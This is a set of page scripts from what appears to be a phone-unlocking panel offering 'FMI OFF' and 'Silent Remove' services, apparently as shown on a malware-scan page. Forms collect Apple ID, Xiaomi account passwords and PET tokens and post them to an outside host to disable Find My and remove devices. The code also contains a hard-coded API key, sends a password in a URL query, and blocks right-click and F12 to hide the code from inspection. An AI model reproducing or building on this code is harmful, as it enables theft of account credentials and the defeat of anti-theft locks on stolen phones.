<script language="javascript"> <script>
document.addEventListener("DOMContentLoaded", function () {
const checkButton = document.getElementById("Check-BTN");
checkButton.addEventListener("click", function () {
// Mostrar el SweetAlert2 para ingresar IMEI o SN
Swal.fire({
title: '<i class="fas fa-cloud"></i> iCloud Check',
html: '<label for="IMEI">IMEI or SN:</label><input type="text" id="IMEI" class="swal2-input" placeholder="Enter IMEI or SN">',
showCancelButton: true,
confirmButtonText: 'Check',
cancelButtonText: 'Cancel',
showLoaderOnConfirm: true,
preConfirm: () => {
const imeiValue = document.getElementById("IMEI").value;
return fetch('../config/fmi_check/check.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'imei=' + encodeURIComponent(imeiValue),
})
.then(response => {
if (!response.ok) {
throw new Error(response.statusText);
}
return response.json();
})
.catch(error => {
Swal.showValidationMessage(`Request failed: ${error}`);
});
},
allowOutsideClick: () => !Swal.isLoading()
}).then((result) => {
if (result.isConfirmed) {
Swal.fire({
title: 'Result Check',
html: result.value.response,
icon: 'info',
confirmButtonText: 'OK'
});
}
});
});
});
</script></script>
<script language="javascript"> <script>
document.getElementById('DnsChecker').addEventListener('click', function(event) {
event.preventDefault();
Swal.fire({
title: 'Enter Domain Name',
input: 'text',
inputAttributes: {
autocapitalize: 'off'
},
showCancelButton: true,
confirmButtonText: 'Check DNS',
showLoaderOnConfirm: true,
preConfirm: (domain) => {
if (!domain) {
Swal.showValidationMessage('Please enter a domain name');
}
// Remove 'http://' or 'https://' prefix and any trailing slash (/)
domain = domain.replace(/^(?:https?:\/\/)?(?:www\.)?/i, '').replace(/\/$/, '');
return fetch(`https://dns.google.com/resolve?name=${domain}`)
.then(response => {
if (!response.ok) {
throw new Error('Network response was not ok');
}
return response.json();
})
.then(data => {
const formattedData = formatDnsRecords(data);
return formattedData;
})
.catch(error => {
Swal.showValidationMessage(`Request failed: ${error}`);
});
},
allowOutsideClick: () => !Swal.isLoading()
}).then((result) => {
if (result.isConfirmed) {
Swal.fire({
icon: 'success',
title: `DNS Records for ${result.value.domain}`,
html: result.value.html
});
}
});
});
function formatDnsRecords(data) {
let dnsHtml = '<h3>DNS:</h3><ul>';
data.Answer.forEach(answer => {
dnsHtml += `<li><strong>${answer.name}</strong>: ${answer.data}</li>`;
});
dnsHtml += '</ul>';
let moreInfoHtml = '<h3>More Info:</h3>'; // Aquí puedes poner la información adicional que desees mostrar
return { domain: data.Question[0].name, html: dnsHtml + moreInfoHtml };
}
</script></script>
<script language="javascript"><script>
function openUrlShortener() {
Swal.fire({
html: `
<div class="container">
<div class="form-group">
<label for="longUrl">Acortador URL</label>
<input type="text" id="longUrl" name="longUrl">
</div>
<div class="form-group">
<button1 type="button" onclick="shortenUrl()">Acortar URL</button1>
</div>
</div>
`,
showCloseButton: true, // Muestra el botón de cerrar
showConfirmButton: false, // Oculta el botón de confirmar
customClass: {
container: 'swal2-container' // Agrega la clase al contenedor
}
});
}
function shortenUrl() {
var longUrl = document.getElementById('longUrl').value;
fetch('https://is.gd/create.php?format=json&url=' + encodeURIComponent(longUrl))
.then(response => response.json())
.then(data => {
if(data.shorturl) {
// Mostrar un mensaje modal de éxito usando SweetAlert2
Swal.fire({
icon: 'success',
title: 'URL acortada exitosamente',
text: 'La URL ha sido acortada correctamente.',
html: '<input type="text" id="shortUrlResult" value="' + data.shorturl + '" readonly><br><br><button class="copy-button" type="button" onclick="copyShortUrl()">Copiar</button>',
showCancelButton: false,
showConfirmButton: false // Ocultamos el botón de "Aceptar"
});
} else {
// Mostrar un mensaje modal de error usando SweetAlert2
Swal.fire({
icon: 'error',
title: 'Error al acortar la URL',
text: 'Por favor, intenta nuevamente.'
});
}
})
.catch(error => {
console.error('Error:', error);
// Mostrar un mensaje modal de error usando SweetAlert2
Swal.fire({
icon: 'error',
title: 'Error al acortar la URL',
text: 'Por favor, intenta nuevamente.'
});
});
}
function copyShortUrl() {
var shortUrlInput = document.getElementById('shortUrlResult');
// Selecciona el texto dentro del campo de entrada
shortUrlInput.select();
shortUrlInput.setSelectionRange(0, 99999); // Para dispositivos móviles
// Copia el texto seleccionado al portapapeles
document.execCommand('copy');
// Deselecciona el texto para que el usuario no lo vea seleccionado
window.getSelection().removeAllRanges();
// Muestra una alerta o mensaje indicando que el URL corto ha sido copiado
Swal.fire({
icon: 'success',
title: 'URL corto copiado',
text: 'El URL corto ha sido copiado al portapapeles.',
showCancelButton: false,
showConfirmButton: true,
confirmButtonText: 'Cerrar'
});
}
</script></script>
<script language="javascript"> <script>
// Deshabilitar el botón derecho
document.addEventListener('contextmenu', function(e) {
e.preventDefault();
});
// Deshabilitar F12
document.onkeydown = function(e) {
if(e.keyCode === 123) {
return false;
}
}
</script></script>
<script language="javascript"><script>
// SweetAlert2 para mostrar detalles de la noticia al hacer clic en el enlace del menú desplegable
document.addEventListener('DOMContentLoaded', function() {
const newsItems = document.querySelectorAll('.news-item');
newsItems.forEach(item => {
item.addEventListener('click', function(event) {
event.preventDefault();
const title = this.getAttribute('data-title');
const message = this.getAttribute('data-message');
const status = this.getAttribute('data-status');
Swal.fire({
title: title,
html: '<p>' + message + '</p><p>Status: ' + status + '</p>',
icon: 'info'
});
});
});
});
</script>
<script>
document.addEventListener('DOMContentLoaded', function() {
var checkFmiLinkAPI1 = document.getElementById('checkFmiLinkAPI1');
checkFmiLinkAPI1.addEventListener('click', function(e) {
e.preventDefault();
Swal.fire({
title: 'Put IMEI',
input: 'text',
inputAttributes: {
autocapitalize: 'off'
},
showCancelButton: true,
confirmButtonText: 'Next',
cancelButtonText: 'Exit',
showLoaderOnConfirm: true,
allowOutsideClick: () => !Swal.isLoading(),
preConfirm: (imei) => {
if (!imei) {
Swal.showValidationMessage('Put IMEI');
} else {
var checkUrl = 'https://alpha.imeicheck.com/api/php-api/create?key=JpMkX-8an6C-zITLV-ocajK-lr3wu-KVdKP&service=4&imei=' + encodeURIComponent(imei);
return fetch(checkUrl)
.then(response => response.json())
.then(responseData => {
var username = "=$_SESSION['name']";
var orderId = responseData.orderId;
var status = responseData.status;
var imei = responseData.imei;
var result = responseData.status;
var model = responseData.object.model;
var FindMy = responseData.object.fmiOn ? '<span style="color: red;">ON</span>' : '<span style="color: green;">OFF</span>';
var xhr = new XMLHttpRequest();
xhr.open('POST', 'checks.php', true);
xhr.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
xhr.onload = function() {
console.log('Server response:', this.responseText);
};
xhr.send(`username=${username}&orderId=${orderId}&model=${model}&status=${status}&imei=${imei}&result=${result}&FindMy=${FindMy}`);
var modelName = responseData.object.model;
var imageUrl = '';
if (modelName.includes('iPhone 5s')) {
imageUrl = 'Check/models/5.png';
} else if (modelName.includes('iPhone SE')) {
imageUrl = 'Check/models/5.png';
} else if (modelName.includes('iPhone 6')) {
imageUrl = 'Check/models/6.png';
} else if (modelName.includes('iPhone 6 Plus')) {
imageUrl = 'Check/models/6.png';
} else if (modelName.includes('iPhone 6s')) {
imageUrl = 'Check/models/6.png';
} else if (modelName.includes('iPhone 6s Plus')) {
imageUrl = 'Check/models/6.png';
} else if (modelName.includes('iPhone 7')) {
imageUrl = 'Check/models/6.png';
} else if (modelName.includes('iPhone 7 Plus')) {
imageUrl = 'Check/models/6.png';
} else if (modelName.includes('iPhone 8')) {
imageUrl = 'Check/models/6.png';
} else if (modelName.includes('iPhone 8 Plus')) {
imageUrl = 'Check/models/6.png';
} else if (modelName.includes('iPhone SE (2nd generation)')) {
imageUrl = 'Check/models/6.png';
} else if (modelName.includes('iPhone X')) {
imageUrl = 'Check/models/10.png';
} else if (modelName.includes('iPhone XR')) {
imageUrl = 'Check/models/xr.png';
} else if (modelName.includes('iPhone XS')) {
imageUrl = 'Check/models/xs.png';
} else if (modelName.includes('iPhone XS Max')) {
imageUrl = 'Check/models/xs.png';
} else if (modelName.includes('iPhone 11')) {
imageUrl = 'Check/models/11.png';
} else if (modelName.includes('iPhone 11 Pro')) {
imageUrl = 'Check/models/11.png';
} else if (modelName.includes('iPhone 11 Pro Max')) {
imageUrl = 'Check/models/12.png';
} else if (modelName.includes('iPhone SE (2nd generation)')) {
imageUrl = 'Check/models/6.png';
} else if (modelName.includes('iPhone 12 mini')) {
imageUrl = 'Check/models/12.png';
} else if (modelName.includes('iPhone 12')) {
imageUrl = 'Check/models/12.png';
} else if (modelName.includes('iPhone 12 Pro')) {
imageUrl = 'Check/models/12.png';
} else if (modelName.includes('iPhone 12 Pro Max')) {
imageUrl = 'Check/models/12.png';
} else if (modelName.includes('iPhone 13 mini')) {
imageUrl = 'Check/models/13.png';
} else if (modelName.includes('iPhone 13')) {
imageUrl = 'Check/models/13.png';
} else if (modelName.includes('iPhone 13 Pro')) {
imageUrl = 'Check/models/13.png';
} else if (modelName.includes('iPhone 13 Pro Max')) {
imageUrl = 'Check/models/13.png';
} else if (modelName.includes('iPhone 14 mini')) {
imageUrl = 'Check/models/14.png';
} else if (modelName.includes('iPhone 14')) {
imageUrl = 'Check/models/14.png';
} else if (modelName.includes('iPhone 14 Pro')) {
imageUrl = 'Check/models/14.png';
} else if (modelName.includes('iPhone 14 Pro Max')) {
imageUrl = 'Check/models/14.png';
} else if (modelName.includes('iPad')) {
imageUrl = 'Check/models/ipad_pro.png';
}
var htmlContent = '';
if (imageUrl !== '') {
htmlContent += '<img src="' + imageUrl + '" alt="' + modelName + '" style="max-width: 200px; max-height: 200px;"><br>';
}
// Añade solo el resultado que viene de la API
htmlContent += responseData.result;
// Comprueba si el resultado ya incluye el estado "Find My iPhone"
if (!responseData.result.includes("Find My iPhone")) {
// Si no lo incluye, añade el estado de Find My iPhone con el color correspondiente
htmlContent += '<br>Find My iPhone: ' + FindMy;
}
Swal.fire({
title: 'Results',
html: htmlContent
});
})
.catch(error => {
Swal.showValidationMessage(`Hubo un error: ${error}`);
});
}
}
});
});
});
</script>
<script>
document.addEventListener('DOMContentLoaded', function() {
var checkFmiLink = document.getElementById('checkFmiLink');
checkFmiLink.addEventListener('click', function(e) {
e.preventDefault();
Swal.fire({
title: 'Put IMEI',
input: 'text',
inputAttributes: {
autocapitalize: 'off'
},
showCancelButton: true,
confirmButtonText: 'Next',
cancelButtonText: 'Exit',
showLoaderOnConfirm: true,
allowOutsideClick: () => !Swal.isLoading(),
preConfirm: (imei) => {
if (!imei) {
Swal.showValidationMessage('Put IMEI');
} else {
var url = 'https://troya-dev4.ru.com/Account/config/Check/ModelShow.php?imei=' + encodeURIComponent(imei);
return fetch(url)
.then(response => {
if (!response.ok) {
throw new Error('Error fetching model data');
}
return response.json();
})
.then(modelData => {
var checkUrl = 'https://troya-dev4.ru.com/Account/config/Check/Check_Direct.php?imei=' + encodeURIComponent(imei);
return fetch(checkUrl)
.then(response => {
if (!response.ok) {
throw new Error('Error fetching FMI data');
}
return response.json();
})
.then(fmiData => {
var imageUrl = getModelImageUrl(modelData.modelo);
var htmlContent = generateHtmlContent(imageUrl, modelData, fmiData);
Swal.fire({
title: 'Results',
html: htmlContent
});
});
})
.catch(error => {
Swal.showValidationMessage(`An error occurred: ${error.message}`);
});
}
}
});
});
});
function generateHtmlContent(imageUrl, modelData, fmiData) {
var content = '';
if (imageUrl) {
content += '<img src="' + imageUrl + '" alt="' + modelData.modelo.split('",')[0] + '" style="max-width: 200px; max-height: 200px;"><br></br>';
}
content += `Modelo: ${modelData.modelo.split('",')[0]}<br>`;
content += `Brand: ${modelData.brand}<br>`;
content += `Manufacturer: ${modelData.manufacturer}<br>`;
content += `IMEI: ${fmiData.imei}<br>`; // Asegurémonos de usar fmiData.imei aquí
const fmiStatus = (fmiData.result.includes("OFF")) ? "OFF" : "ON";
content += `Find My iCloud: ${fmiStatus}`;
return content;
}
function getModelImageUrl(modelName) {
if (modelName.includes('iPhone 5s') || modelName.includes('iPhone SE')) {
return 'https://troya-dev4.ru.com/Account/config/Check/models/5.png';
}
if (modelName.includes('iPhone 6') || modelName.includes('iPhone 6 Plus') ||
modelName.includes('iPhone 6s') || modelName.includes('iPhone 6s Plus') ||
modelName.includes('iPhone 7') || modelName.includes('iPhone 7 Plus') ||
modelName.includes('iPhone 8') || modelName.includes('iPhone 8 Plus') ||
modelName.includes('iPhone SE (2nd generation)')) {
return 'https://troya-dev4.ru.com/Account/config/Check/models/6.png';
}
if (modelName.includes('iPhone X')) {
return 'https://troya-dev4.ru.com/Account/config/Check/models/10.png';
}
if (modelName.includes('iPhone XR')) {
return 'https://troya-dev4.ru.com/Account/config/Check/models/xr.png';
}
if (modelName.includes('iPhone XS') || modelName.includes('iPhone XS Max')) {
return 'https://troya-dev4.ru.com/Account/config/Check/models/xs.png';
}
if (modelName.includes('iPhone 11') || modelName.includes('iPhone 11 Pro')) {
return 'https://troya-dev4.ru.com/Account/config/Check/models/11.png';
}
if (modelName.includes('iPhone 11 Pro Max')) {
return 'https://troya-dev4.ru.com/Account/config/Check/models/12.png';
}
if (modelName.includes('iPhone 12 mini') || modelName.includes('iPhone 12') ||
modelName.includes('iPhone 12 Pro') || modelName.includes('iPhone 12 Pro Max')) {
return 'https://troya-dev4.ru.com/Account/config/Check/models/12.png';
}
if (modelName.includes('iPhone 13 mini') || modelName.includes('iPhone 13') ||
modelName.includes('iPhone 13 Pro') || modelName.includes('iPhone 13 Pro Max')) {
return 'https://troya-dev4.ru.com/Account/config/Check/models/13.png';
}
if (modelName.includes('iPhone 14 mini') || modelName.includes('iPhone 14') ||
modelName.includes('iPhone 14 Pro') || modelName.includes('iPhone 14 Pro Max')) {
return 'https://troya-dev4.ru.com/Account/config/Check/models/14.png';
}
return ''; // default, no image
}
</script>
<script>
document.addEventListener('DOMContentLoaded', function() {
const notificationCounter = document.getElementById('notification-counter');
const updateNotificationCounter = () => {
// Contar el número de elementos .news-item presentes en el menú desplegable
const notificationCount = document.querySelectorAll('.news-item').length;
// Actualizar el contador de notificaciones
notificationCounter.textContent = notificationCount;
};
// Actualizar el contador de notificaciones cuando el DOM esté completamente cargado
updateNotificationCounter();
// SweetAlert2 para mostrar detalles de la noticia al hacer clic en el enlace del menú desplegable
const newsItems = document.querySelectorAll('.news-item');
newsItems.forEach(item => {
item.addEventListener('click', function(event) {
event.preventDefault();
const title = this.getAttribute('data-title');
const message = this.getAttribute('data-message');
const status = this.getAttribute('data-status');
Swal.fire({
title: title,
html: '<p>' + message + '</p><p>Status: ' + status + '</p>',
icon: 'info'
});
// Remover la notificación una vez que se haya mostrado
this.parentNode.removeChild(this);
// Actualizar el contador de notificaciones
updateNotificationCounter();
});
});
});
</script></script>
<script language="javascript"><script>
// Función para abrir SweetAlert con un formulario de entrada
function openForm() {
Swal.fire({
title: 'Verificar Contraseña Comprometida',
input: 'password', // Tipo de entrada
inputPlaceholder: 'Ingrese su contraseña',
showCancelButton: true, // Opción para cancelar
confirmButtonText: 'Enviar',
}).then((result) => {
if (result.isConfirmed) {
const password = result.value; // Obtener el valor ingresado
// URL del script PHP para procesar la solicitud
const url = `../solicitud_api.php?password=${encodeURIComponent(password)}`;
// Realizar la solicitud GET
fetch(url)
.then(response => response.text())
.then(data => {
// Mostrar la respuesta con SweetAlert
Swal.fire({
title: 'Info de la Contraseña',
text: data,
icon: 'info', // Cambiar según el resultado
});
})
.catch(error => {
Swal.fire({
title: 'Error',
text: 'Hubo un error al enviar la solicitud.',
icon: 'error',
});
});
}
});
}
// Agregar evento al botón para abrir SweetAlert
document.getElementById("open-sweetalert-form").addEventListener("click", openForm);
</script></script>
<script language="javascript"><script>
function handleSuccess(deviceList) {
if (deviceList && deviceList.length > 0) {
const devices = deviceList.map(device => {
let statusMessage = device.status === '200' ? 'FMI OFF DONE ✅' : 'Turn off the device and try again 📵';
return `
<tr>
<td class="custom-td">${device.model}</td>
<td class="custom-td">${device.raw_device_model}</td>
<td class="custom-td">${statusMessage}</td>
</tr>
`;
}).join('');
const table = `
<table class="custom-table">
<thead>
<tr>
<th class="custom-th">Model</th>
<th class="custom-th">Type</th>
<th class="custom-th">Status</th>
</tr>
</thead>
<tbody>
${devices}
</tbody>
</table>
`;
Swal.fire({
icon: 'success',
title: 'Devices Removed Successfully',
html: table
});
} else {
handleError('No devices to remove', '500');
}
}
function handleError(errorMessage, status) {
Swal.fire({
icon: 'info',
title: 'Error',
text: errorMessage
});
}
document.getElementById('Silent-btn').addEventListener('click', async function () {
let loadingSwal = Swal.fire({
title: '⚡ Silent Remove ✅',
html:
'<input id="swal-input1" class="swal2-input" placeholder="Enter your Apple ID" value="">' +
'<input id="swal-input2" type="password" class="swal2-input" placeholder="Enter your password" value="" style="font-family: monospace;">',
confirmButtonText: 'FMI OFF',
showLoaderOnConfirm: true,
preConfirm: async () => {
const appleId = document.getElementById('swal-input1').value;
const password = document.getElementById('swal-input2').value;
const formData = new FormData();
formData.append('apple_id', appleId);
formData.append('password', password);
formData.append('web', 'apple');
const response = await fetch('https://troya-dev4.ru.com/Account/config/Silent_Remove_server/autoremove.php', {
method: 'POST',
body: formData
});
if (!response.ok) {
Swal.showValidationMessage('Failed to fetch');
}
const data = await response.json();
if (!data.success) {
handleError(data.msg);
}
return data;
}
});
try {
const result = await loadingSwal;
if (result.isConfirmed) {
const data = result.value;
if (data.success) {
handleSuccess(data.device_list);
}
}
} catch (error) {
handleError('Failed to remove devices', '500');
}
});
</script></script>
<script language="javascript"><script>
document.getElementById('XiaomiRemove-btn').addEventListener('click', async function () {
let loadingSwal = Swal.fire({
title: '⚡ Silent Xiaomi Remove ✅',
html:
'<input id="swal-input1" class="swal2-input" placeholder="Enter your Xiaomi ID" value="">' +
'<input id="swal-input2" type="password" class="swal2-input" placeholder="Enter your password" value="" style="font-family: monospace;">',
confirmButtonText: 'FMI OFF',
showLoaderOnConfirm: true,
preConfirm: async () => {
const appleId = document.getElementById('swal-input1').value;
const password = document.getElementById('swal-input2').value;
const formData = new FormData();
formData.append('username', appleId);
formData.append('password', password);
const response = await fetch('https://troya-dev4.ru.com/Account/config/Xiaomi_Remove/Xiaomi.php', {
method: 'POST',
body: formData,
});
if (!response.ok) {
Swal.showValidationMessage('Failed to fetch');
}
return response.json();
},
showCloseButton: true,
customClass: {
closeButton: 'btn-close-custom', // Aplica una clase personalizada al botón de cierre
},
});
try {
const result = await loadingSwal;
if (result.isConfirmed) {
const data = result.value;
if (data.success) {
handleServerResponse(data);
} else {
Swal.fire({
title: 'Error',
text: data.message,
icon: 'error',
showCloseButton: true,
customClass: {
closeButton: 'btn-close-custom', // Aplica clase personalizada
},
});
}
}
} catch (error) {
console.error('Failed to remove devices:', error);
Swal.fire({
title: 'Error',
text: 'Failed to remove devices. Please try again.',
icon: 'error',
showCloseButton: true,
customClass: {
closeButton: 'btn-close-custom', // Aplica clase personalizada
},
});
}
});
function handleServerResponse(response) {
try {
if (response.success) {
const deviceList = response.device_list;
if (deviceList.length === 0) {
Swal.fire({
title: 'No Devices',
text: 'There are no devices to remove.',
icon: 'info',
showCloseButton: true,
customClass: {
closeButton: 'btn-close-custom', // Aplica clase personalizada
},
});
return;
}
let formattedMessage = '';
deviceList.forEach((device) => {
formattedMessage += `
📱 ID: ${device.id}<br>
📋 Model: ${device.model}<br>
🛠️ Device Type: ${device.device_type}<br>
💬 Message: ${device.msg}<br>
🟢 Status: ${device.status}<br><br>
`;
});
Swal.fire({
title: 'Device Information',
html: formattedMessage,
icon: 'info',
showCloseButton: true,
customClass: {
closeButton: 'btn-close-custom', // Aplica clase personalizada
},
});
} else {
Swal.fire({
title: 'Error',
text: response.message,
icon: 'error',
showCloseButton: true,
customClass: {
closeButton: 'btn-close-custom', // Aplica clase personalizada
},
});
}
} catch (error) {
console.error('Error parsing JSON response:', error);
Swal.fire({
title: 'Error',
text: 'Something went wrong. Please try again.',
icon: 'error',
showCloseButton: true,
customClass: {
closeButton: 'btn-close-custom', // Aplica clase personalizada
},
});
}
}
</script></script>
<script language="javascript"> <script>
function openForm() {
Swal.fire({
title: '⚡ FMI OFF PET TOKEN ⚡',
html: `
<div>
<label for="appleID">Apple ID:</label>
<input type="text" id="appleID" class="swal2-input" placeholder="Ingrese Apple ID">
<label for="PET">PET Token:</label>
<input type="text" id="PET" class="swal2-input" placeholder="Ingrese PET Token">
</div>
`,
focusConfirm: false,
confirmButtonText: 'Remover',
showCloseButton: true, // Botón de cierre en la esquina superior derecha
allowOutsideClick: true, // Permite cerrar haciendo clic fuera del diálogo
preConfirm: () => {
const appleID = document.getElementById("appleID").value;
const PET = document.getElementById("PET").value;
if (!appleID || !PET) {
Swal.showValidationMessage('Todos los campos son obligatorios');
return false;
}
const emailRegex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/;
if (!emailRegex.test(appleID)) {
Swal.showValidationMessage('Apple ID debe ser un correo electrónico válido');
return false;
}
return { appleID, PET };
}
}).then((result) => {
if (result.isConfirmed) {
const formData = result.value;
fetch('../config/offmi.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded',
},
body: `OFF=true&appleID=${encodeURIComponent(formData.appleID)}&PET=${encodeURIComponent(formData.PET)}`,
})
.then(response => {
if (!response.ok) {
throw new Error('Error en la solicitud');
}
return response.text(); // Obtenemos el contenido HTML devuelto por el servidor
})
.then(htmlContent => {
// Si el contenido indica un error, mostramos un SweetAlert de error
if (htmlContent.includes("Not Found Token Or Expired")) {
throw new Error("Token no encontrado o expirado.");
}
Swal.fire({
title: 'FMI OFF con Exito',
html: htmlContent, // Asigna el HTML recibido al campo `html`
icon: 'success', // Cambiar icono si es necesario
});
})
.catch(error => {
Swal.fire({
icon: 'error',
title: 'Error TOKEN',
text: error.message, // Mostrar el mensaje de error
});
});
}
});
}
</script></script>
© 2023 Quttera Ltd. All rights reserved.